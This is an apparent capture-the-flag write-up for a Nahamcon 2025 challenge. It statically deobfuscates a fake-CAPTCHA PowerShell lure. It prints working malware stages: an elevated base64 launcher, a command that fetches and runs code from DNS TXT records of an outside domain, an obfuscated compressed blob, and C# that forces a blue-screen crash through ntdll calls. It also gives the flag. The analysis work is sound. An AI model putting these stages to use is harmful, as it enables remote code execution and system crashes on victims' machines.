malware

Verification Clarification Writeup

Nahamcon 2025

Solved by avantika (@iamavu)

WARNING - DO NOT PROCEED WITHOUT VM

Visiting the URL, it asks for some form of captcha verification, asking us to do WIN+R, then CTRL+V and ENTER.

Like anyone would do that, ey?

Well we have to! D:

Once you run it, powershell window opens and boom BSOD, your system crashes. I thought, I’ll have to set up some system-level logging and everything, which I have never done before, so quite intimidating, but then I was like, let’s try static first.

So instead of doing execution of the payload in powershell, what if we just save its output in file?

$content = Invoke-RestMethod "captcha.zip/verify"

(note - we get this from CTRL+V)

this will save the content of URL in the content variable, then lets save this content variable to a file.

$content | Out-File "C:\analysis\downloaded_payload.ps1"

and check out what this payload is -

$d='aWV4IChbVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygoUmVzb2x2ZS1EbnNOYW1lIC1OYW1lIDVnbWx3LnB5cmNoZGF0YS5jb20gLVR5cGUgVFhUKS5TdHJpbmdzIC1qb2luICcnKSkp'
$dn=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($d))
(New-Object -ComObject Shell.Application).ShellExecute("powershell", "-NoP -Ep Bypass -c $dn", "", "runas", 0)

The d variable is essentially decoded via base64 and then executed with admin privileges, let us decode the d variable.

iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Name 5gmlw.pyrchdata.com -Type TXT).Strings -join '')))

Now this was a bit tricky, so needed to learn a bit, but turns out this is DNS based attacks(wew, pretty cool stuff)

$dnsResult = Resolve-DnsName -Name 5gmlw.pyrchdata.com -Type TXT

This would resolve its DNS name for that domain and get its TXT records, you can also do this on linux with dig -t txt +short 5gmlw.pyrchdata.com but let’s learn powershell, the awful syntax scripting language, (slow non-energetic yays).

Anyway, the records are as follows -

KG5Fdy1vQmpFQ1QgIHNZc1RFbS5pby5jT21QUkVzU0lPTi5ERUZMQVRlc1RyRUFNKCBbSU8ubUVNT3JZc3RSZUFNXSBbU3lTdEVNLmNPbnZlcnRdOjpGck9tYmFTRTY0c3RyaU5HKCAnVFZScmM5bzZFUDBybW43Qm5tSVhrcEJKNHVFRDVkR1FHeDVqQ0tUTzVJTWZBcFRhbGtlV3VTUzkvZTkzand5a3pHaDNMYTJPemg2dFlOYUw0dHZoNGZYdUx1dnAvbTY0c05nWDI3NitmUFY3OS8yWHB0MXB0ZXZ3YSt2MkdMUlBVeFpqdzM3dnNSajZEbU5YcHkwTi8zclJPTS9mbnBFdTJpZWtxNXRqY0hPRXRJWnhMeTI0SHp2TWJ0aU5ydzNiSnBCdWQ5dW51S0F4ZmljVDAvaFlYZnpjUDl3L2lWNy9rVDVGaTh6OUpCME5acjhlM2dMNjZQd2FCS2xQd1RLNEl0dWpRV3ZCZXBJR0g1TnM5emJaMGN6MzViUVZmMHd1S1N3dnNXdDN5TWdHQWp0cTRIajlzd3l5c1h6NkVZblJPbndmMFdTMmFuWElyUVBkdVlqZTB5eXBWc01rbmFhejY5YUk0blZVM1daeEVlVFJxTE9JVXY4U2hEdFRNdTAxbFdOdGMrQXJ2Ymk2NW1YNFBaUDRBdTdkM2F0V2ZKOVRLUHN2WkpGS2VSUnAvc085SVQ5YWtubWlSRnBKWkp3UFhYM2dxTktrc3dNWG5tMXBBT3dXbEVYQjg0dUg4MFdBTkZZcXJqbHFERlZJZHE1NENqSkZKdnNPMWlzRlhaWmxpWlM1dzdDbXd0Mml6L2cyckxhZ0ZqNDZyUHhFekVGZmFHR0sydkFCeHozaG1wWU9xK09sazVCTGV0MFFLWkNaZTNTdjVCZHBpaFVhYnNaMStiNkFQSFV5NW5BS3poRElpc0NhRzJLOUJMTnh6aFhmY04rTkRTejNDbWdUOFUxWTV0VTNuTHlNdW1VdWhVWThVOWllQ2xUcVlyZW9pZFNDa0JwR0NtU2ErK2k3NnBTTWMrVUF5UW0rREUvb29tUCtGczJjZjQ4a3AxMkNKQkxtM0Q5L1BGc3hYVW5XUkoyc2FlNllCNjdDM2N3MWRCeXpKdG5XeVY2UXcyalJEdzRjRHkwTCt5UzRxMkVDaDF1NzU2V0E5L1hVd3lNQlpuMFlMMU1zYkNpcWxHYk4yN1lGYmx1cVpTL1VISWtRc0hwTGVxbjJQYUtZaThyVERBSkxHZjArOXc0UUV5SDM4RURZNEdqU2xSbXhkYWhMaXRLb0t1Z21BUUpRb29ETnJMa3lmTWdRT0d2T21kSlVNWlg3Wk9acEVwNUdjMnAwTkZuRDA1cjFXVzVJaGVMNlF5clVyTEhjeUFqb0EvK0x5dkZQd1JCNnRmSHFqOTJWdURSMGpyYlNTcHBHSDZQV2RJRDM0dGt6bG1KV1JtY0ZselFqSStJRGozNUNBWFV0ZUdGOFc3Y1JoSUdnSldxQm1xRGluMnBnK1lra1ptSngwZ3Q0aHFHaEJ4Nm0vOTF6WktqaUhHSmJvUEhHYVUzMTl6TXJ5ekNOQVhic2drOUlpSSsrODBvZWk3M2lRQ2drVVRCdDV2Sk02THp5ajYwTFJ2VG5VVmJlc1pYTm82YnZBczhGajlxeUxQYk14K3dMdGFaTHZkdFE0KzM5VXN2SDRVZzNtTzA4U0RGdFVNRCtZK1BwU3Y3REhmNWNLRjR1eG5MNlB3PT0nKSAsIFtJTy5jT21QUmVTU0lvTi5jb01wckVTc2lvbm1vZEVdOjpEZWNvbVBSRXNzKSB8IGZvUkVhQ0ggeyBuRXctb0JqRUNUICBpTy5zVFJFYW1SRUFkZXIoJF8gLCBbdEV4VC5FTkNPZGlOR106OkFzY0lpICkgfXxmb3JlYUNoIHskXy5yRWFkdE9FbmQoICkgfSkgfCYoICRTSGVsTGlEWzFdKyRTSEVMTElEWzEzXSsnWCcp

and base64 decoding that, gives us

(nEw-oBjECT  sYsTEm.io.cOmPREsSION.DEFLATesTrEAM( \[IO.mEMOrYstReAM\] [SyStEM.cOnvert]::FrOmbaSE64striNG( 'TVRrc9o6EP0rmn7BnmIXkpBJ4uED5dGQGx5jCKTO5IMfApTalkeWuSS9/e93jwykzGh3La2Ozh6tYNaL4tvh4fXuLuvp/m64sNgX276+fPV79/2Xpt1ptevwa+v2GLRPUxZjw37vsRj6DmNXpy0N/3rROM/fnpEu2iekq5tjcHOEtIZxLy24HzvMbtiNrw3bJpBud9unuKAxficT0/hYXfzcP9w/iV7/kT5Fi8z9JB0NZr8e3gL66PwaBKlPwTK4ItujQWvBepIGH5Ns9zbZ0cz35bQVf0wuKSwvsWt3yMgGAjtq4Hj9swyysXz6EYnROnwf0WS2anXIrQPduYje0yypVsMknaaz69aI4nVU3WZxEeTRqLOIUv8ShDtTMu01lWNtc+Arvbi65mX4PZP4Au7d3atWfJ9TKPsvZJFKeRRp/sO9IT9aknmiRFpJZJwPXX3gqNKkswMXnm1pAOwWlEXB84uH80WANFYqrjlqDFVIdq54CjJFJvsO1isFXZZliZS5w7Cmwt2iz/g2rLagFj46rPxEzEFfaGGK2vABxz3hmpYOq+Olk5BLet0QKZCZe3Sv5BdpihUabsZ1+b6APHUy5nAKzhDIisCaG2K9BLNxzhXfcN+NDSz3CmgT8U1Y5tU3nLyMumUuhUY8U9ieClTqYreoidSCkBpGCmSa++i76pSMc+UAyQm+DE/oomP+Fs2cf48kp12CJBLm3D9/PFsxXUnWRJ2sae6YB67C3cw1dByzJtnWyV6Qw2jRDw4cDy0L+yS4q2ECh1u756WA9/XUwyMBZn0YL1MsbCiqlGbN27YFbluqZS/UHIkQsHpLeqn2PaKYi8rTDAJLGf0+9w4QEyH38EDY4GjSlRmxdahLitKoKugmAQJQooDNrLkyfMgQOGvOmdJUMZX7ZOZpEp5Gc2p0NFnD05r1WW5IheL6QyrUrLHcyAjoA/+LyvFPwRB6tfHqj92VuDR0jrbSSppGH6PWdID34tkzlmJWRmcFlzQjI+IDj35CAXUteGF8W7cRhIGgJWqBmqDin2pg+YkkZmJx0gt4hqGhBx6m/91zZKjiHGJboPHGaU319zMryzCNAXbsgk9IiI++80oei73iQCgkUTBt5vJM6Lzyj60LRvTnUVbesZXNo6bvAs8Fj9qyLPbMx+wLtaZLvdtQ4+39UsvH4Ug3mO08SDFtUMD+Y+PpSv7DHf5cKF4uxnL6Pw==') , [IO.cOmPReSSIoN.coMprESsionmodE]::DecomPREss) | foREaCH { nEw-oBjECT  iO.sTREamREAder($_ , [tExT.ENCOdiNG]::AscIi ) }|foreaCh {$_.rEadtOEnd( ) }) |&( $SHelLiD[1]+$SHELLID[13]+'X')

this says deflate stream, so quick google search landed me to this gist -

https://gist.github.com/vortexau/13de5b6f9e46cf419f1540753c573206

which helped me in deflating it and I got the following -

 ([regEx]::mAtChES( "))63]RAHC[,)501]RAHC[+09]RAHC[+101]RAHC[(  ECALpER-  43]RAHC[,'R6S'ECALpER- 93]RAHC[,)211]RAHC[+48]RAHC[+89]RAHC[(EcAlpeRc- )')'+'))R6S==gC'+'p'+'Iy'+'c'+'zV2YvJHUiACL'+'i0'+'HMlFDOkJjZ'+'5kDZlR'+'TZ4'+'A'+'DOkZWMlZzMmhjMh'+'BTN0czM3'+'s3Z'+'hxm'+'Zi'+'ACL'+'icWYsZmIoUGbiFWayF'+'mV05'+'WZt52bylmduVEdlNlO60FduVWbu9mcpZnbF5SblR3c'+'5N'+'1WR6S(gni'+'rtS46esaBmo'+'rF'+'::]trevn'+'oC['+'(gnirtS'+'teG.8'+'FT'+'U::]gnidocnE.txe'+'T['+'( xei;)(t'+'ohS::]'+'X[;c'+'iZe'+' sretem'+'ara'+'Preli'+'pmoC-'+' urh'+'Tss'+'aP- '+'prahSC egaugn'+'aL- s'+'iZe'+' no'+'itini'+'feDep'+'y'+'T- ep'+'yT-d'+'dA=ai'+'Z'+'e;)R6'+'Sll'+'d'+'.metsySR6S(d'+'dA'+'.s'+'e'+'il'+'bm'+'ess'+'Ade'+'cnerefeR.ci'+'Ze;pT'+'befasnu/p'+'Tb=snoitp'+'Or'+'elipmoC.'+'ciZ'+'e;sretemaraPrelip'+'mo'+'C.relipmoC.m'+'oD'+'edoC.metsyS '+'tcejbO-w'+'e'+'N=ciZe;p'+'Tb}};)r tuo ,6'+' ,o'+'reZ.rt'+'Ptn'+'I ,'+'0 ,'+'0 ,2'+'2'+'0000'+'0'+'cx0('+'ror'+'rEdr'+'a'+'Hesia'+'RtN;'+')t'+' tuo ,esla'+'f ,eurt ,91(e'+'gelivirPt'+'s'+'ujdAltR;r tniu;t l'+'oob{)(t'+'ohS'+' diov'+' e'+'f'+'asnu ci'+'tats cilbup;)R tni'+'u tu'+'o ,V'+' t'+'niu ,P rtPtnI ,U'+' tniu'+' '+',N '+'tniu ,E'+' tniu(ror'+'rEdraHes'+'iaRtN tniu n'+'ret'+'xe ci'+'tats '+'c'+'ilbup])R'+'6'+'Slld.lldtnR6S(tro'+'pmIl'+'lD['+';)O lo'+'ob'+' tuo ,T loob ,E loo'+'b ,P t'+'ni'+'(eg'+'eliv'+'irPtsu'+'jdAl'+'tR'+' tniu nret'+'xe'+' citats cil'+'bup])R6'+'S'+'ll'+'d.'+'ll'+'dtnR6S'+'(tropm'+'IllD['+'{X ssalc cit'+'a'+'ts cil'+'b'+'up'+';secivreS'+'poretn'+'I.emitnuR.metsyS'+' gnisu;metsyS gn'+'isupTb=siZe'((( XeI " ,'.' ,'rIgHTtoLEFt' )-JoiN'' ) | INVoKe-eXpresSIoN

I simply removed the Invoke-Expression part at the end, saved it as ps1 and ran it, to get the following, as it would do the ps1 magic and solve few layers of de-obfuscation itself. (I have already removed the + symbol from the text)

IeX (((eZis=bTpusing System;using System.Runtime.InteropServices;public static class X{[DllImport(S6Rntdll.dllS6R)]public static extern uint RtlAdjustPrivilege(int P, bool E, bool T, out bool O);[DllImport(S6Rntdll.dllS6R)]public static extern uint NtRaiseHardError(uint E, uint N, uint U, IntPtr P, uint V, out uint R);public static unsafe void Shot(){bool t;uint r;RtlAdjustPrivilege(19, true, false, out t);NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out r);}}bTp;eZic=New-Object System.CodeDom.Compiler.CompilerParameters;eZic.CompilerOptions=bTp/unsafebTp;eZic.ReferencedAssemblies.Add(S6RSystem.dllS6R);eZia=Add-Type -TypeDefinition eZis -Language CSharp -PassThru -CompilerParameters eZic;[X]::Shot();iex ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(S6RW1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==S6R)))) -cReplAcE([CHAR]98[CHAR]84[CHAR]112),[CHAR]39 -REpLACES6R,[CHAR]34  -REpLACE  ([CHAR]101[CHAR]90[CHAR]105),[CHAR]36))

There is that base64 string again, but I noticed S6R at both beginning and at the end, so I removed it, so we get final string as

W1N5c3RlbS5FbnZpcm9ubWVudF06OlNldEVudmlyb25tZW50VmFyaWFibGUoImZsYWciLCAiZmxhZ3s3Mzc0NTBhMjhmMzZlMWZkODA4ZTRlZDk5ZjJkODFlMH0iLCAiUHJvY2VzcyIpCg==

which on further decoding gives us the flag -

flag{737450a28f36e1fd808e4ed99f2d81e0}

yipeee!

Key Learning from the Challenge

  • Don’t blindly run PowerShell payloads : dump and analyze them statically first.
  • The initial command was a base64-encoded PowerShell script launched via Shell.Application.
  • The payload used DNS TXT records as a covert C2 channel.
  • It fetched a deflate-compressed, base64-encoded blob, decoded and decompressed it into more PowerShell+embedded C#.
  • Final stage used RtlAdjustPrivilege and NtRaiseHardError from ntdll.dll to crash the system (classic BSOD).
  • Decoding everything carefully led to a final base64 string → the flag.
Published on : 31 May 2025